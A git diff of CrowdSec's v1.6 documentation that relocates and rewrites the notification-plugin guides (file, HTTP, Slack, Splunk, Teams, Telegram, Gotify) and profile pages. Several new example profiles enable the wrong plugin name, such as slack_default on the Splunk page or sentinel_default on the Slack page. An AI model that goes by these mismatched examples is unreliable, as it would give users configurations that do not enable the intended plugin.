+## Configuring the plugin
+
+By default the configuration for Email plugin is located at these default location per OS:
+
+- **Linux** `/etc/crowdsec/notifications/file.yaml`
+- **FreeBSD** `/usr/local/etc/crowdsec/notifications/file.yaml`
+- **Windows** `C:\ProgramData\CrowdSec\config\notifications\file.yaml`
+
+### Base configuration
+
+Example config which writes Alerts to a file using NDJson (**N**ewline **D**elimiter **J**ava**S**cript **O**bject **N**otation) format to `/tmp/crowdsec_alerts.json`.
+
+```yaml
+# Don't change this
+type: file
+
+name: file_default # this must match with the registered plugin in the profile
+log_level: info # Options include: trace, debug, info, warn, error, off
+
+# This template render all events as ndjson
+format: |
+ {{range . -}}
+ { "time": "{{.StopAt}}", "program": "crowdsec", "alert": {{. | toJson }} }
+ {{ end -}}
+
+# group_wait: # duration to wait collecting alerts before sending to this plugin, eg "30s"
+# group_threshold: # if alerts exceed this, then the plugin will be sent the message. eg "10"
+
+#Use full path EG /tmp/crowdsec_alerts.json
+log_path: "/tmp/crowdsec_alerts.json"
+rotate:
+ enabled: true # Change to false if you want to handle log rotate on system basis
+ max_size: 10 # in MB
+ max_files: 5 # Number of files to keep
+ max_age: 5 # in days but may remove files before this if max_files is reached
+ compress: true # Compress rotated files using gzip
+```
+
+**Note** that the `format` is a [go template](https://pkg.go.dev/text/template), which is fed a list of [Alert](https://pkg.go.dev/github.com/crowdsecurity/crowdsec@master/pkg/models#Alert) objects.
+
+:::warning
+Some SIEM agents may not support some top level keys we define in the default ndjson format. Please make sure to adjust the format to match your SIEM agent's requirements.
+:::
+
+### SIEM Integration
+
+:::warning
+Please note if you change the format that is printed to the file you must also configure the collector on the SIEM side to also expect the same format
+:::
+
+#### Filebeat
+
+Filebeat has a set of reserved top level keys and should not be used in the ndjson format. The following format can be used to be compatible with Filebeat:
+
+```yaml
+format: |
+ {{range . -}}
+ { "time": "{{.StopAt}}", "source": "crowdsec", "alert": {{. | toJson }} }
+ {{ end -}}
+```
+#### Wazuh
+
+Wazuh has set of reserved top level keys and may cause logs not to be sent by the agent. The following format can be used to be compatible with Wazuh:
+
+```yaml
+format: |
+ {{range . -}}
+ { "crowdsec": { "time": "", "program": "crowdsec", "alert": {{. | toJson }} }}
+ {{ end -}}
+```
+
+## Testing the plugin
+
+Before enabling the plugin it is best to test the configuration so the configuration is validated and you can see the output of the plugin.
+
+```bash
+cscli notifications test file_default
+```
+
+:::note
+If you have changed the `name` property in the configuration file, you should replace `file_default` with the new name.
+:::
+
+## Enabling the plugin
+
+In your profiles you will need to uncomment the `notifications` key and the `file_default` plugin list item.
+
+```
+#notifications:
+# - file_default
+```
+
+:::note
+If you have changed the `name` property in the configuration file, you should replace `file_default` with the new name.
+:::
+
+:::warning
+Ensure your YAML is properly formatted the `notifications` key should be at the top level of the profile.
+:::
+
+Example profile with email plugin enabled
+ +```yaml +name: default_ip_remediation +#debug: true +filters: + - Alert.Remediation == true && Alert.GetScope() == "Ip" +decisions: + - type: ban + duration: 4h +#duration_expr: Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4) +#highlight-next-line +notifications: +#highlight-next-line + - email_default +on_success: break +``` + +
+
+
+
+## Final Steps:
+
+Let's restart crowdsec
+
+```bash
+sudo systemctl restart crowdsec
+```
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/gotify.md b/crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/gotify.md
similarity index 51%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/gotify.md
rename to crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/gotify.md
index 3350f5e09..e35dd33ee 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/gotify.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/gotify.md
@@ -3,11 +3,21 @@ id: gotify
title: Gotify
---
-Gotify can be integrated with CrowdSec by using the HTTP plugin. Enable it by following these [instructions](/notification_plugins/http.md) .
+CrowdSec can forward Alerts to Gotify via the HTTP plugin. This guide will show you how to configure the HTTP plugin to send alerts to your Gotify instance.
-Then replace the `Example profile with file plugin enabled
+ +```yaml +name: default_ip_remediation +#debug: true +filters: + - Alert.Remediation == true && Alert.GetScope() == "Ip" +decisions: + - type: ban + duration: 4h +#duration_expr: Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4) +#highlight-next-line +notifications: +#highlight-next-line + - file_default +on_success: break +``` + +
+
+
+
## Final Steps:
Let's restart crowdsec
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/helpers.md b/crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/helpers.md
similarity index 98%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/helpers.md
rename to crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/helpers.md
index 4259beb02..48dfbd8b6 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/helpers.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/helpers.md
@@ -9,7 +9,7 @@ In order to simplify some operation in the templates, we provide some custom hel
The [Sprig](https://masterminds.github.io/sprig/) library is available in the templates, and provides a lot of useful functions. Refer to the sprig documentation for more information.
-## Crowdsec specific helpers
+## CrowdSec specific helpers
### `HTMLEscape`
@@ -66,4 +66,4 @@ Documentation on the available fields and methods is [here](https://pkg.go.dev/g
{{- $cti := $alert.Source.IP | CrowdsecCTI -}}
{{" "}}{{mulf $cti.GetMaliciousnessScore 100 | floor}} %
{{- end }}
-```
\ No newline at end of file
+```
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/http.md b/crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/http.md
new file mode 100644
index 000000000..075c6fca7
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/http.md
@@ -0,0 +1,117 @@
+---
+id: http
+title: HTTP Plugin
+---
+
+The HTTP plugin is by default shipped with your CrowdSec installation. The following guide shows how to configure, test and enable it.
+
+Every alert which would pass the profile's filter would be dispatched to `http_default` plugin.
+
+## Configuring the plugin
+
+By default the configuration for HTTP plugin is located at these default location per OS:
+
+- **Linux** `/etc/crowdsec/notifications/http.yaml`
+- **FreeBSD** `/usr/local/etc/crowdsec/notifications/http.yaml`
+- **Windows** `C:\ProgramData\CrowdSec\config\notifications\http.yaml`
+
+Configure how to make web requests by providing the `url`, `method`, `headers` etc.
+
+### Adding the plugin configuration
+
+Configure how to make web requests by providing the `url`, `method`, `headers` etc.
+
+Example config which posts the alerts serialized into json to localhost server.
+
+```yaml
+# Don't change this
+type: http
+
+name: http_default # this must match with the registered plugin in the profile
+log_level: info # Options include: trace, debug, info, warn, error, off
+
+format: | # This template receives list of models.Alert objects. The request body would contain this.
+ {{.|toJson}}
+
+url: http://localhost # plugin will make requests to this url. Eg value https://www.example.com/
+# unix_socket: /var/run/example.sock # plugin will send the `url` across the unix socket instead of opening a remote connection
+
+method: POST # eg either of "POST", "GET", "PUT" and other http verbs is valid value.
+
+# headers:
+# Authorization: token 0x64312313
+
+# skip_tls_verification: # either true or false. Default is false
+
+# group_wait: # duration to wait collecting alerts before sending to this plugin, eg "30s"
+
+# group_threshold: # if alerts exceed this, then the plugin will be sent the message. eg "10"
+
+# max_retry: # number of tries to attempt to send message to plugins in case of error.
+
+# timeout: # duration to wait for response from plugin before considering this attempt a failure. eg "10s"
+
+```
+
+:::info
+`format` is a [go template](https://pkg.go.dev/text/template), which is fed a list of [Alert](https://pkg.go.dev/github.com/crowdsecurity/crowdsec@master/pkg/models#Alert) objects.
+:::
+
+## Testing the plugin
+
+Before enabling the plugin it is best to test the configuration so the configuration is validated and you can see the output of the plugin.
+
+```bash
+cscli notifications test http_default
+```
+
+:::note
+If you have changed the `name` property in the configuration file, you should replace `http_default` with the new name.
+:::
+
+## Enabling the plugin
+
+In your profiles you will need to uncomment the `notifications` key and the `http_default` plugin list item.
+
+```
+#notifications:
+# - http_default
+```
+
+:::note
+If you have changed the `name` property in the configuration file, you should replace `http_default` with the new name.
+:::
+
+:::warning
+Ensure your YAML is properly formatted the `notifications` key should be at the top level of the profile.
+:::
+
+Example profile with http plugin enabled
+ +```yaml +name: default_ip_remediation +#debug: true +filters: + - Alert.Remediation == true && Alert.GetScope() == "Ip" +decisions: + - type: ban + duration: 4h +#duration_expr: Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4) +#highlight-next-line +notifications: +#highlight-next-line + - http_default +on_success: break +``` + +
+
+
+
+## Final Steps:
+
+Let's restart crowdsec
+
+```bash
+sudo systemctl restart crowdsec
+```
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/intro.md b/crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/intro.md
similarity index 82%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/intro.md
rename to crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/intro.md
index df13fe350..0e9d29d74 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/intro.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/intro.md
@@ -3,35 +3,46 @@ id: intro
title: Introduction
---
-import CodeBlock from '@theme/CodeBlock';
-
### Goal
-CrowdSec supports notification plugins, meant to be able to push alerts to third party services for alerting or integration purposes.
-At the time of writing, plugins exists for [slack](/notification_plugins/slack.md), [splunk](/notification_plugins/splunk.md), and a generic [http push](/notification_plugins/http.md) plugin (allowing to push to services such as [elasticsearch](/notification_plugins/elasticsearch.md)).
+CrowdSec supports notification plugins, which allows alerts to pushed to third party services for alerting or integration purposes.
-Plugins are defined at LAPI level. Events get dispatched to said plugins via [profile configuration](/profiles/intro.md).
+Plugins are defined and used at the LAPI level, so if you are running a multi-server setup, you will configure the plugins on the server that is receiving the alerts. If you are not running a multi-server setup, you will configure the plugins on the same server as the main CrowdSec process.
### Configuration
-The default plugins are shipped with CrowdSec upon installation, and can trivially be enabled without further installation.
-
-Refer directly to each plugin's dedicated documentation and keep in mind that plugins needs to be enabled/dispatched at the [profile](/profiles/intro.md) level via the dedicated `notifications` section (defaults to `/etc/crowdsec/profiles.yaml`.md).
-
+By default all plugins are shipped with CrowdSec are within the install package, and can trivially be enabled without further need to install additional packages.
+Refer directly to each plugin's dedicated documentation and keep in mind that plugins needs to be enabled/dispatched at the [profile](/local_api/profiles/intro.md) level via the dedicated `notifications` section (defaults to `/etc/crowdsec/profiles.yaml`.md).
Plugin binaries are present in `config_paths.plugin_dir` (defaults to `/var/lib/crowdsec/plugins/`), and their individual configuration are present in `config_paths.notification_dir` (defaults to `/etc/crowdsec/notifications/`)
-
-**Important:** CrowdSec rejects the plugins if one of the following is true :
+:::warning
+CrowdSec rejects the plugins binaries if one of the following is true :
1. plugin is not owned by the root user and root group.
2. plugin is world-writable.
-
+:::
### Environment variables
It is possible to set configuration values based on environment variables.
+However, depending on which key is using the environment variable, the syntax is different.
+
+#### Format
+
+The `format` key is a string that uses the [go template](https://pkg.go.dev/text/template) syntax. To use an environment variable in the `format` key, you can use the `env` function provided by [sprig](https://masterminds.github.io/sprig/).
+
+```yaml
+format: |
+ Received {{ len . }} alerts
+ Environment variable value: {{env "ENV_VAR"}}
+```
+
+#### Other keys
+
+All other keys than `format` can use the typical `${ENV_VAR}` or `$ENV_VAR` syntax.
+
For example, if you don't want to store your SMTP host password in the configuration file, you can do this:
```yaml
@@ -45,6 +56,21 @@ sender_email: email@gmail.com
email_subject: "CrowdSec Notification"
```
+:::warning
+Please note that `cscli notifications inspect` command does not interpolate environment variables and will always show the raw value of the key.
+:::
+
+If you wish to use `cscli notifications test` command, you must provide the environment variables in the command line or within your shell environment.
+
+For example, if you have a `SMTP_PASSWORD` environment variable, you can test the `email_default` plugin with the following command:
+
+:::warning
+Some shells may hold this information in history, so please consult your shell documentation to ensure that the password or other sensitive data is not stored in clear text.
+:::
+
+```bash
+SMTP_PASSWORD=your_password cscli notifications test email_default
+```
### Registering plugin to profile
@@ -68,7 +94,8 @@ notifications:
### Notification plugin configuration:
-Following are the fields CrowdSec main process can interpret.
+Following fields are provided to all notification plugins and not specific to any plugin.
+
```yaml
type:
name:
@@ -77,10 +104,8 @@ group_wait:
group_threshold:
max_retry:
timeout:
-
-
-
```
+
#### `type` :
Required. Type of plugin, eg "slack"
@@ -126,32 +151,36 @@ Currently only `notification` plugins are supported. Whenever CrowdSec receives
[See](https://github.com/crowdsecurity/crowdsec/blob/plugins/pkg/protobufs/notifier.proto) the gRPC protocol for `notification` plugins.
+In the following sections we use `/etc/crowdsec/config.yaml` for configuration file paths. However depending on your platform the paths can be interchanged with the following:
+
+- **Linux** `/etc/crowdsec/config.yaml`
+- **FreeBSD** `/usr/local/etc/crowdsec/config.yaml`
+- **Windows** `C:\ProgramData\CrowdSec\config\config.yaml`
+
#### Plugin Discovery
Plugins are discovered from the directories specified in `/etc/crowdsec/config.yaml`.
-```yaml
-#/etc/crowdsec/config.yaml
-.....
+```yaml title="/etc/crowdsec/config.yaml"
config_paths:
notification_dir: /etc/crowdsec/notifications/
plugin_dir: /var/lib/crowdsec/plugins/
-.....
```
#### Plugin Process Owner
-Due to security reasons, plugins are ideally ran with dropped priveleges. This is done by setting owner and group of the plugin process as some unprivileged user. This can be configured via setting the desired user and group in `/etc/crowdsec/config.yaml`.
+Due to security reasons, plugins process are operated under a user with limited privileges. This is done by setting owner and group of the plugin process as some unprivileged user. This can be configured via setting the desired user and group in `/etc/crowdsec/config.yaml`.
-```yaml
-#/etc/crowdsec/config.yaml
-.....
+```yaml title="/etc/crowdsec/config.yaml"
plugin_config:
user: nobody
group: nogroup
-.....
```
+:::note
+Depending on your distribution or platform these values may change to `nobody` or `nogroup`. If you wish to update these values, please ensure that the user and group exist on your system.
+:::
+
### Alert object
You have access to the list of alerts that triggered the notification when writing the go-template in the `format` parameter.
@@ -190,8 +219,9 @@ To use them in a go-template, you can check [here](https://pkg.go.dev/github.com
Example profile with http plugin enabled
+ +```yaml +name: default_ip_remediation +#debug: true +filters: + - Alert.Remediation == true && Alert.GetScope() == "Ip" +decisions: + - type: ban + duration: 4h +#duration_expr: Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4) +#highlight-next-line +notifications: +#highlight-next-line + - http_default +on_success: break +``` + +Show the full alert object
-
+
+
+
+## Final Steps
Let's restart crowdsec
```bash
sudo systemctl restart crowdsec
```
-
-You can verify whether the plugin is properly working by triggering scenarios using tools like wapiti, nikto etc.
\ No newline at end of file
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/slack.md b/crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/slack.md
similarity index 56%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/slack.md
rename to crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/slack.md
index 3ef938835..ec6f66ef5 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/slack.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/slack.md
@@ -5,22 +5,17 @@ title: Slack Plugin
The slack plugin is by default shipped with your CrowdSec installation. The following guide shows how to enable it.
-## Enabling the plugin:
-
-In your profile file (by default `/etc/crowdsec/profiles.yaml`) , uncomment the section
-```
-#notifications:
-# - slack_default
-```
-
## Configuring the plugin:
-### Adding the plugin configuration
+By default the configuration for Slack plugin is located at these default location per OS:
+
+- **Linux** `/etc/crowdsec/notifications/slack.yaml`
+- **FreeBSD** `/usr/local/etc/crowdsec/notifications/slack.yaml`
+- **Windows** `C:\ProgramData\CrowdSec\config\notifications\slack.yaml`
-By default there would be a slack config at `/etc/crowdsec/notifications/slack.yaml`. Specify your
-`webhook`.
+### Base configuration
-Example config:
+Here is the base configuration for the Slack plugin:
```yaml
# Don't change this
@@ -52,6 +47,56 @@ See [slack guide](https://slack.com/intl/en-in/help/articles/115005265063-Incomi
**Note** that the `format` is a [go template](https://pkg.go.dev/text/template), which is fed a list of [Alert](https://pkg.go.dev/github.com/crowdsecurity/crowdsec@master/pkg/models#Alert) objects.
+## Testing the plugin
+
+Before enabling the plugin it is best to test the configuration so the configuration is validated and you can see the output of the plugin.
+
+```bash
+cscli notifications test slack_default
+```
+
+:::note
+If you have changed the `name` property in the configuration file, you should replace `slack_default` with the new name.
+:::
+
+## Enabling the plugin
+
+In your profiles you will need to uncomment the `notifications` key and the `slack_default` plugin list item.
+
+```
+#notifications:
+# - slack_default
+```
+
+:::note
+If you have changed the `name` property in the configuration file, you should replace `slack_default` with the new name.
+:::
+
+:::warning
+Ensure your YAML is properly formatted the `notifications` key should be at the top level of the profile.
+:::
+
+Example profile with sentinel plugin enabled
+ +```yaml +name: default_ip_remediation +#debug: true +filters: + - Alert.Remediation == true && Alert.GetScope() == "Ip" +decisions: + - type: ban + duration: 4h +#duration_expr: Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4) +#highlight-next-line +notifications: +#highlight-next-line + - sentinel_default +on_success: break +``` + +
+
+
## Final Steps:
@@ -60,5 +105,3 @@ Let's restart crowdsec
```bash
sudo systemctl restart crowdsec
```
-
-You can verify whether the plugin is properly working by triggering scenarios using tools like wapiti, nikto etc.
\ No newline at end of file
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/splunk.md b/crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/splunk.md
similarity index 50%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/splunk.md
rename to crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/splunk.md
index d845d47e1..2360c34c7 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/splunk.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/splunk.md
@@ -5,22 +5,17 @@ title: Splunk Plugin
The splunk plugin is by default shipped with your CrowdSec installation. The following guide shows how to enable it.
-## Enabling the plugin:
+## Configuring the plugin:
-In your profile file (by default `/etc/crowdsec/profiles.yaml`) , uncomment the section
-```
-#notifications:
-# - splunk_default
-```
+By default the configuration for Splunk plugin is located at these default location per OS:
-## Configuring the plugin:
+- **Linux** `/etc/crowdsec/notifications/splunk.yaml`
+- **FreeBSD** `/usr/local/etc/crowdsec/notifications/splunk.yaml`
+- **Windows** `C:\ProgramData\CrowdSec\config\notifications\splunk.yaml`
-### Adding the plugin configuration
+### Base configuration
-By default there would be a splunk config at `/etc/crowdsec/notifications/splunk.yaml`. Specify your
-`url`, `token` and `format` .
-
-Example configuration which posts creates splunk event containing alerts serialized to JSON:
+Here is the base configuration for the Splunk plugin:
```yaml
# Don't change this
@@ -51,6 +46,57 @@ See [splunk guide](https://docs.splunk.com/Documentation/Splunk/8.2.1/Data/Useth
**Note** that the `format` is a [go template](https://pkg.go.dev/text/template), which is fed a list of [Alert](https://pkg.go.dev/github.com/crowdsecurity/crowdsec@master/pkg/models#Alert) objects.
+## Testing the plugin
+
+Before enabling the plugin it is best to test the configuration so the configuration is validated and you can see the output of the plugin.
+
+```bash
+cscli notifications test splunk_default
+```
+
+:::note
+If you have changed the `name` property in the configuration file, you should replace `splunk_default` with the new name.
+:::
+
+## Enabling the plugin
+
+In your profiles you will need to uncomment the `notifications` key and the `splunk_default` plugin list item.
+
+```
+#notifications:
+# - splunk_default
+```
+
+:::note
+If you have changed the `name` property in the configuration file, you should replace `splunk_default` with the new name.
+:::
+
+:::warning
+Ensure your YAML is properly formatted the `notifications` key should be at the top level of the profile.
+:::
+
+Example profile with email plugin enabled
+ +```yaml +name: default_ip_remediation +#debug: true +filters: + - Alert.Remediation == true && Alert.GetScope() == "Ip" +decisions: + - type: ban + duration: 4h +#duration_expr: Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4) +#highlight-next-line +notifications: +#highlight-next-line + - slack_default +on_success: break +``` + +
+
+
+
## Final Steps:
Let's restart crowdsec
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/teams.md b/crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/teams.md
similarity index 85%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/teams.md
rename to crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/teams.md
index 286ba7ebe..6eaeacf4b 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/teams.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/teams.md
@@ -3,19 +3,17 @@ id: teams
title: Microsoft Teams
---
-This guide will show you how to enable Microsoft Teams notifications via the HTTP plugin.
+The following guide shows how to configure, test and enable HTTP plugin to forward Alerts to Microsoft Teams.
-## Enabling the plugin:
+## Configuring the plugin
-In your profile file (by default `/etc/crowdsec/profiles.yaml`) , uncomment the section
-```
-#notifications:
-# - http_default
-```
+By default the configuration for HTTP plugin is located at these default location per OS:
-## Configuring the plugin:
+- **Linux** `/etc/crowdsec/notifications/http.yaml`
+- **FreeBSD** `/usr/local/etc/crowdsec/notifications/http.yaml`
+- **Windows** `C:\ProgramData\CrowdSec\config\notifications\http.yaml`
-By default there would be a http config at `/etc/crowdsec/notifications/http.yaml`. Simply replace the whole content in this file with this example below.
+Simply replace the whole content in this file with this example below.
### Base configuration
@@ -291,6 +289,57 @@ headers:
* See [microsoft docs](https://docs.microsoft.com/en-us/microsoftteams/platform/webhooks-and-connectors/how-to/add-incoming-webhook) for instructions to obtain a webhook.
* The `format` is a [go template](https://pkg.go.dev/text/template), which is fed a list of [Alert](https://pkg.go.dev/github.com/crowdsecurity/crowdsec@master/pkg/models#Alert) objects.
+## Testing the plugin
+
+Before enabling the plugin it is best to test the configuration so the configuration is validated and you can see the output of the plugin.
+
+```bash
+cscli notifications test http_default
+```
+
+:::note
+If you have changed the `name` property in the configuration file, you should replace `http_default` with the new name.
+:::
+
+## Enabling the plugin
+
+In your profiles you will need to uncomment the `notifications` key and the `http_default` plugin list item.
+
+```
+#notifications:
+# - http_default
+```
+
+:::note
+If you have changed the `name` property in the configuration file, you should replace `http_default` with the new name.
+:::
+
+:::warning
+Ensure your YAML is properly formatted the `notifications` key should be at the top level of the profile.
+:::
+
+Example profile with Splunk plugin enabled
+ +```yaml +name: default_ip_remediation +#debug: true +filters: + - Alert.Remediation == true && Alert.GetScope() == "Ip" +decisions: + - type: ban + duration: 4h +#duration_expr: Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4) +#highlight-next-line +notifications: +#highlight-next-line + - splunk_default +on_success: break +``` + +
+
+
+
## Final Steps:
Let's restart crowdsec
@@ -298,5 +347,3 @@ Let's restart crowdsec
```bash
sudo systemctl restart crowdsec
```
-
-You can verify whether the plugin is properly working by triggering scenarios using tools like wapiti, nikto etc.
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/telegram.md b/crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/telegram.md
similarity index 58%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/telegram.md
rename to crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/telegram.md
index 9a8800cfd..8548e3bbc 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/telegram.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/telegram.md
@@ -3,14 +3,24 @@ id: telegram
title: Telegram
---
-Telegram can be integrated with CrowdSec by using the HTTP plugin. Enable it by following these [instructions](/notification_plugins/http.md) .
+CrowdSec can forward Alerts to telegram via the HTTP plugin. This guide will show you how to configure the HTTP plugin to send alerts to your Telegram chat.
+
+## Configuring the plugin
+
+By default the configuration for HTTP plugin is located at these default location per OS:
+
+- **Linux** `/etc/crowdsec/notifications/http.yaml`
+- **FreeBSD** `/usr/local/etc/crowdsec/notifications/http.yaml`
+- **Windows** `C:\ProgramData\CrowdSec\config\notifications\http.yaml`
+
+### Base configuration
+
+You can replace the file contents with the following configuration:
Replace `chat_id` within the format section so that it send the events to your Telegram chat. If you need to get your chat ID, follow the instructions [here](https://stackoverflow.com/questions/32423837/telegram-bot-how-to-get-a-group-chat-id).
Replace `XXX:YYY` within the URL section with your Telegram BOT API key. If you need to generate a BOT API key, follow the instructions [here](https://core.telegram.org/bots#how-do-i-create-a-bot).
-An example configuration:
-
```yaml
type: http # Don't change
name: http_default # Must match the registered plugin in the profile
@@ -67,6 +77,57 @@ headers:
Content-Type: "application/json"
```
+## Testing the plugin
+
+Before enabling the plugin it is best to test the configuration so the configuration is validated and you can see the output of the plugin.
+
+```bash
+cscli notifications test http_default
+```
+
+:::note
+If you have changed the `name` property in the configuration file, you should replace `http_default` with the new name.
+:::
+
+## Enabling the plugin
+
+In your profiles you will need to uncomment the `notifications` key and the `http_default` plugin list item.
+
+```
+#notifications:
+# - http_default
+```
+
+:::note
+If you have changed the `name` property in the configuration file, you should replace `http_default` with the new name.
+:::
+
+:::warning
+Ensure your YAML is properly formatted the `notifications` key should be at the top level of the profile.
+:::
+
+Example profile with http plugin enabled
+ +```yaml +name: default_ip_remediation +#debug: true +filters: + - Alert.Remediation == true && Alert.GetScope() == "Ip" +decisions: + - type: ban + duration: 4h +#duration_expr: Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4) +#highlight-next-line +notifications: +#highlight-next-line + - http_default +on_success: break +``` + +
+
+
+
## Final Steps:
Let's restart crowdsec
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/writing_your_own_plugin.md b/crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/writing_your_own_plugin.md
similarity index 98%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/writing_your_own_plugin.md
rename to crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/writing_your_own_plugin.md
index d6bf4cef1..286cbbb48 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/notification_plugins/writing_your_own_plugin.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/local_api/notification_plugins/writing_your_own_plugin.md
@@ -7,7 +7,7 @@ In this guide we will implement a plugin in Go, which dispatches an email with s
Full code for this plugin can be found in [crowdsec repo](https://github.com/crowdsecurity/crowdsec/tree/master/plugins/notifications/email)
-Before we begin, make sure you read [intro](/notification_plugins/intro.md)
+Before we begin, make sure you read [intro](/local_api/notification_plugins/intro.md)
Let's start by creating a new go project in a fresh directory:
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/profiles/captcha_profile.md b/crowdsec-docs/versioned_docs/version-v1.6/local_api/profiles/captcha_profile.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/profiles/captcha_profile.md
rename to crowdsec-docs/versioned_docs/version-v1.6/local_api/profiles/captcha_profile.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/profiles/cti_profile.md b/crowdsec-docs/versioned_docs/version-v1.6/local_api/profiles/cti_profile.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/profiles/cti_profile.md
rename to crowdsec-docs/versioned_docs/version-v1.6/local_api/profiles/cti_profile.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/profiles/format.md b/crowdsec-docs/versioned_docs/version-v1.6/local_api/profiles/format.md
similarity index 97%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/profiles/format.md
rename to crowdsec-docs/versioned_docs/version-v1.6/local_api/profiles/format.md
index 8158c9f49..f1e18cd28 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/profiles/format.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/local_api/profiles/format.md
@@ -158,4 +158,4 @@ notifications:
- notification_plugin2
```
-The [list of notification plugins](/notification_plugins/intro.md) to which the alert should be fed.
+The [list of notification plugins](/local_api/notification_plugins/intro.md) to which the alert should be fed.
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/profiles/intro.md b/crowdsec-docs/versioned_docs/version-v1.6/local_api/profiles/intro.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/profiles/intro.md
rename to crowdsec-docs/versioned_docs/version-v1.6/local_api/profiles/intro.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/profiles/pid_profile.md b/crowdsec-docs/versioned_docs/version-v1.6/local_api/profiles/pid_profile.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/profiles/pid_profile.md
rename to crowdsec-docs/versioned_docs/version-v1.6/local_api/profiles/pid_profile.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/local_api/tls_auth.md b/crowdsec-docs/versioned_docs/version-v1.6/local_api/tls_auth.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/local_api/tls_auth.md
rename to crowdsec-docs/versioned_docs/version-v1.6/local_api/tls_auth.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/log_processor/alert_context/intro.md b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/alert_context/intro.md
new file mode 100644
index 000000000..9404d8bf1
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/log_processor/alert_context/intro.md
@@ -0,0 +1,47 @@
+---
+id: intro
+title: Alert Context
+---
+
+## Introduction
+
+As the [Log Processor](log_processor/intro.mdx) processes logs, it will detect patterns of interest known as [Scenarios](/log_processor/scenarios/introduction.mdx). When a scenario is detected, an alert is generated and sent to the [Local API](local_api/intro.md) (LAPI) for evaluation.
+
+When the alert is generated you can define additional Alert Context that can be sent along with the alert to give you context about the alert. This can be useful when you host multiple applications on the same server and you want to know which application generated the alert.
+
+### Format
+
